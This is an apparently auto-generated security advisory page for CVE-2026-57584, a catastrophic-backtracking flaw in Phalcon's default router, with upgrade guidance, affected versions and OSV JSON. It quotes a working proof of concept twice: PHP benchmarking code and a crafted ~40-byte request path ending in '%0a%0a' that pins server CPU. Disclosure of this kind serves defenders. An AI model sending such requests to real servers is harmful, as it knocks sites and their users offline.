CVE-2026-57584: Phalcon Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-x7rj-f32v-7jjg
CWE-1333
Published
Advisory Summary

CVE-2026-57584 is a HIGH denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Phalcon libraries in the Packagist ecosystem. The issue involves catastrophic backtracking (redos) in the default phalcon router route lead to remote unauthenticated dos. Remediation is available by upgrading affected packages to version 5.15.0.

CVE-2026-57584 at a Glance

CVE Identifier CVE-2026-57584
GHSA Identifier GHSA-x7rj-f32v-7jjg
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Phalcon
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-57584

To remediate this vulnerability, upgrade all affected Phalcon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phalcon/cphalcon fixed: 5.15.0
Upgrade phalcon/cphalcon to 5.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phalcon/cphalcon

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-57584, inspect your project dependencies for Phalcon:

inspect dependencies for phalcon/cphalcon

Analyze the terminal output to locate any version of Phalcon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.15.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Phalcon, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Every Phalcon MVC application built with a default router (`new Phalcon\Mvc\Router()` or `new Phalcon\Mvc\Router(true)`, which is the normal case) registers a built-in route whose compiled PCRE pattern is `#^/([\w0-9\_\-]+)/([\w0-9\.\_]+)(/.*)*$#u`. The trailing `(/.*)*` is a nested quantifier whose group body (`/.*`) overlaps itself (`.` matches `/`, and there is no `s`/DOTALL flag), so when the final `$` is forced to fail the engine explores roughly `2^(N/2)` ways to split a run of `N` slashes, causing classic catastrophic backtracking. `Phalcon\Mvc\Router::handle()` runs on **every** request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same `(/.*)*` construct is also produced by the `/:params` placeholder (`Phalcon\Mvc\Router\Route::compilePattern()`) and by the CLI router (`Phalcon\Cli\Router` / `Phalcon\Cli\Router\Route`). ## Details The vulnerable pattern is emitted in four places, all carrying the same `*` nested quantifier: - Default MVC route registration `phalcon/Mvc/Router.zep` (`Router::__construct()`): `"#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u"`, with paths `["controller": 1, "action": 2, "params": 3]`. - `/:params` placeholder expansions `phalcon/Mvc/Router/Route.zep` (`Route::compilePattern()`): `str_replace("/:params", "(/.*)*", pattern)`. - Default CLI route `phalcon/Cli/Router.zep` (`Router::__construct()`): `"#^(?::delimiter)?([a-zA-Z0-9\\_\\-]+):delimiter([a-zA-Z0-9\\.\\_]+)(:delimiter.*)*$#"`. - CLI `/:params` expansion `phalcon/Cli/Router/Route.zep` (`Route::compilePattern()`): `"(" . this->delimiter . ".*)*"`. `Router::handle()` matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call `preg_match()` with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since `.` does not match `\n`), the anchored `$` cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes. ## Remote reachability In the default MVC configuration the router uses `URI_SOURCE_GET_URL`, i.e. it reads the request path from `$_GET["_url"]`, which the web server populates from the rewritten request path. **PHP URL-decodes `$_GET`**, so a request path containing `%0a%0a` arrives as the literal two-byte string `"\n\n"`. The two newlines are the trigger: `.` cannot match `\n`, and PCRE's `$` forgives exactly one trailing `\n`, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed. Example malicious request path (≈40 bytes): `/a/a////////////////////////////////%0a%0a` (two short segments, a run of `/`, then `%0a%0a`). Applications configured with `URI_SOURCE_SERVER_REQUEST_URI` are not reachable through this specific newline trick because `REQUEST_URI` is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means. ## Proof of Concept ```php <?php use Phalcon\Di\FactoryDefault; use Phalcon\Mvc\Router; $di = new FactoryDefault(); $router = new Router(true); // defaultRoutes = true (the default) $router->setDI($di); echo "phalcon : " . phpversion("phalcon") . "\n"; echo "pcre.backtrack_limit: " . ini_get("pcre.backtrack_limit") . "\n"; echo "pcre.jit : " . ini_get("pcre.jit") . "\n"; // Default configuration foreach ($router->getRoutes() as $r) { if (strpos($r->getCompiledPattern(), "(/.*)*") !== false) { echo "vulnerable route : " . $r->getCompiledPattern() . "\n"; } } echo "\n"; function bench(Router $router, string $uri, string $label): void { $t0 = hrtime(true); try { $router->handle($uri); } catch (\Throwable $e) { // matching failure and fallback to time } $ms = (hrtime(true) - $t0) / 1e6; printf(" %-22s uri_len=%4d %10.3f ms\n", $label, strlen($uri), $ms); } bench($router, "/products/edit/123", "normal URL"); echo "\n"; // Malicious: two short segments, then a run of slashes, then "\n\n" (the decoded %0a%0a). $ks = getenv("REDOS_KS") ? array_map("intval", explode(",", getenv("REDOS_KS"))) : [14, 18, 22, 26, 30, 34]; foreach ($ks as $k) { $uri = "/a/a" . str_repeat("/", $k) . "\n\n"; bench($router, $uri, "evil slashes=$k"); } echo "\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\n"; echo "to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\n"; echo "(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\n"; ``` in poc above builds a default `Phalcon\Mvc\Router`, confirms the live compiled pattern contains `(/.*)*`, and times `$router->handle($uri)` (the real request path) for crafted URIs of the form `"/a/a" . str_repeat("/", k) . "\n\n"`. Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS): ``` phalcon : 5.14.2 vulnerable route : #^/([\w0-9\_\-]+)/([\w0-9\.\_]+)(/.*)*$#u DEFAULT config (pcre.jit=1, backtrack_limit=1,000,000) normal URL uri_len= 18 1.182 ms evil slashes=22 uri_len= 28 1.016 ms evil slashes=34 uri_len= 40 1.015 ms (plateau = backtrack-limit bail) RAISED backtrack_limit=1e9, pcre.jit=0 (true exponential) evil slashes=18 uri_len= 24 5.555 ms evil slashes=22 uri_len= 28 90.317 ms evil slashes=24 uri_len= 30 356.800 ms evil slashes=26 uri_len= 32 1426.734 ms evil slashes=28 uri_len= 34 5727.099 ms ``` The curve is cleanly exponential each four extra slashes multiplies the time by ~16× (`2^(N/2)`). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes. ## Impact Two regimes, both measured on the real build: - **Default PHP configuration (JIT on, `pcre.backtrack_limit = 1,000,000`):** each match bails at the backtrack limit after a fixed ~1 ms and `preg_match()` reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. - **PCRE JIT disabled, or `pcre.backtrack_limit` raised:** a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.

CVE-2026-57584 Affected Phalcon Versions

1 component(s)
Fixed Versions:
5.15.0
Product / Package Ecosystem Affected Versions Fixed Version
phalcon/cphalcon
Packagist
< 5.15.0
5.15.0

References

Frequently Asked Questions

What is CVE-2026-57584?
CVE-2026-57584 is a security vulnerability in Phalcon involving Catastrophic backtracking (ReDoS) in the default Phalcon Router route lead to remote unauthenticated DoS under CWE-1333: Inefficient Regular Expression Complexity.
Which Phalcon versions are affected?
Affected versions include releases prior to 5.15.0 across affected packages: phalcon/cphalcon.
What version fixes CVE-2026-57584?
Upgrading to 5.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phalcon/cphalcon affected?
Yes, phalcon/cphalcon is affected in releases prior to 5.15.0. Upgrade your dependency to 5.15.0 or later.
What CWE is associated with CVE-2026-57584?
CVE-2026-57584 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check Packagist dependencies for CVE-2026-57584?
Run the dependency tree command: 'inspect dependencies for phalcon/cphalcon'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x7rj-f32v-7jjg",
  "modified" : "2026-08-28T16:06:31Z",
  "published" : "2026-08-28T16:06:31Z",
  "aliases" : [ "CVE-2026-57584" ],
  "summary" : "Phalcon: Catastrophic backtracking (ReDoS) in the default Phalcon Router route lead to remote unauthenticated DoS",
  "details" : "## Summary\n\nEvery Phalcon MVC application built with a default router (`new Phalcon\\Mvc\\Router()` or `new Phalcon\\Mvc\\Router(true)`, which is the normal case) registers a built-in route whose compiled PCRE pattern is `#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u`. The trailing `(/.*)*` is a nested quantifier whose group body (`/.*`) overlaps itself (`.` matches `/`, and there is no `s`/DOTALL flag), so when the final `$` is forced to fail the engine explores roughly `2^(N/2)` ways to split a run of `N` slashes, causing classic catastrophic backtracking. `Phalcon\\Mvc\\Router::handle()` runs on **every** request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same `(/.*)*` construct is also produced by the `/:params` placeholder (`Phalcon\\Mvc\\Router\\Route::compilePattern()`) and by the CLI router (`Phalcon\\Cli\\Router` / `Phalcon\\Cli\\Router\\Route`).\n\n\n## Details \n\nThe vulnerable pattern is emitted in four places, all carrying the same `*` nested quantifier:\n\n- Default MVC route registration `phalcon/Mvc/Router.zep` (`Router::__construct()`): `\"#^/([\\\\w0-9\\\\_\\\\-]+)/([\\\\w0-9\\\\.\\\\_]+)(/.*)*$#u\"`, with paths `[\"controller\": 1, \"action\": 2, \"params\": 3]`.\n- `/:params` placeholder expansions `phalcon/Mvc/Router/Route.zep` (`Route::compilePattern()`): `str_replace(\"/:params\", \"(/.*)*\", pattern)`.\n- Default CLI route `phalcon/Cli/Router.zep` (`Router::__construct()`): `\"#^(?::delimiter)?([a-zA-Z0-9\\\\_\\\\-]+):delimiter([a-zA-Z0-9\\\\.\\\\_]+)(:delimiter.*)*$#\"`.\n- CLI `/:params` expansion `phalcon/Cli/Router/Route.zep` (`Route::compilePattern()`): `\"(\" . this->delimiter . \".*)*\"`.\n\n`Router::handle()` matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call `preg_match()` with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since `.` does not match `\\n`), the anchored `$` cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.\n\n## Remote reachability\n\nIn the default MVC configuration the router uses `URI_SOURCE_GET_URL`, i.e. it reads the request path from `$_GET[\"_url\"]`, which the web server populates from the rewritten request path. **PHP URL-decodes `$_GET`**, so a request path containing `%0a%0a` arrives as the literal two-byte string `\"\\n\\n\"`. The two newlines are the trigger: `.` cannot match `\\n`, and PCRE's `$` forgives exactly one trailing `\\n`, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.\n\nExample malicious request path (≈40 bytes): `/a/a////////////////////////////////%0a%0a` (two short segments, a run of `/`, then `%0a%0a`).\n\nApplications configured with `URI_SOURCE_SERVER_REQUEST_URI` are not reachable through this specific newline trick because `REQUEST_URI` is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.\n\n## Proof of Concept\n\n```php\n<?php\n\nuse Phalcon\\Di\\FactoryDefault;\nuse Phalcon\\Mvc\\Router;\n\n$di = new FactoryDefault();\n$router = new Router(true);   // defaultRoutes = true (the default)\n$router->setDI($di);\n\necho \"phalcon            : \" . phpversion(\"phalcon\") . \"\\n\";\necho \"pcre.backtrack_limit: \" . ini_get(\"pcre.backtrack_limit\") . \"\\n\";\necho \"pcre.jit           : \" . ini_get(\"pcre.jit\") . \"\\n\";\n\n// Default configuration\nforeach ($router->getRoutes() as $r) {\n    if (strpos($r->getCompiledPattern(), \"(/.*)*\") !== false) {\n        echo \"vulnerable route   : \" . $r->getCompiledPattern() . \"\\n\";\n    }\n}\necho \"\\n\";\n\nfunction bench(Router $router, string $uri, string $label): void\n{\n    $t0 = hrtime(true);\n    try {\n        $router->handle($uri);\n    } catch (\\Throwable $e) {\n        // matching failure and fallback to time\n    }\n    $ms = (hrtime(true) - $t0) / 1e6;\n    printf(\"  %-22s uri_len=%4d   %10.3f ms\\n\", $label, strlen($uri), $ms);\n}\n\nbench($router, \"/products/edit/123\", \"normal URL\");\necho \"\\n\";\n\n// Malicious: two short segments, then a run of slashes, then \"\\n\\n\" (the decoded %0a%0a).\n$ks = getenv(\"REDOS_KS\") ? array_map(\"intval\", explode(\",\", getenv(\"REDOS_KS\")))\n                         : [14, 18, 22, 26, 30, 34];\nforeach ($ks as $k) {\n    $uri = \"/a/a\" . str_repeat(\"/\", $k) . \"\\n\\n\";\n    bench($router, $uri, \"evil slashes=$k\");\n}\n\necho \"\\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\\n\";\necho \"to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\\n\";\necho \"(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\\n\";\n\n\n```\n\nin poc above builds a default `Phalcon\\Mvc\\Router`, confirms the live compiled pattern contains `(/.*)*`, and times `$router->handle($uri)` (the real request path) for crafted URIs of the form `\"/a/a\" . str_repeat(\"/\", k) . \"\\n\\n\"`. Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):\n\n```\nphalcon            : 5.14.2\nvulnerable route   : #^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u\n\nDEFAULT config (pcre.jit=1, backtrack_limit=1,000,000)\n  normal URL             uri_len=  18        1.182 ms\n  evil slashes=22        uri_len=  28        1.016 ms\n  evil slashes=34        uri_len=  40        1.015 ms   (plateau = backtrack-limit bail)\n\nRAISED backtrack_limit=1e9, pcre.jit=0 (true exponential)\n  evil slashes=18        uri_len=  24        5.555 ms\n  evil slashes=22        uri_len=  28       90.317 ms\n  evil slashes=24        uri_len=  30      356.800 ms\n  evil slashes=26        uri_len=  32     1426.734 ms\n  evil slashes=28        uri_len=  34     5727.099 ms\n```\n\nThe curve is cleanly exponential each four extra slashes multiplies the time by ~16× (`2^(N/2)`). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.\n\n## Impact\n\nTwo regimes, both measured on the real build:\n\n- **Default PHP configuration (JIT on, `pcre.backtrack_limit = 1,000,000`):** each match bails at the backtrack limit after a fixed ~1 ms and `preg_match()` reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. \n\n- **PCRE JIT disabled, or `pcre.backtrack_limit` raised:** a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phalcon/cphalcon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.15.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.14.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/security/advisories/GHSA-x7rj-f32v-7jjg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-57584"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/commit/14ba22d389d5ca620bb9d5207205f836ef1224f2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/commit/fa798e919cb2c487062bb9899ad6fc2b673b3a67"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/phalcon/cphalcon"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phalcon/cphalcon/releases/tag/v5.15.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:06:31Z",
    "nvd_published_at" : "2026-07-10T22:16:44Z"
  }
}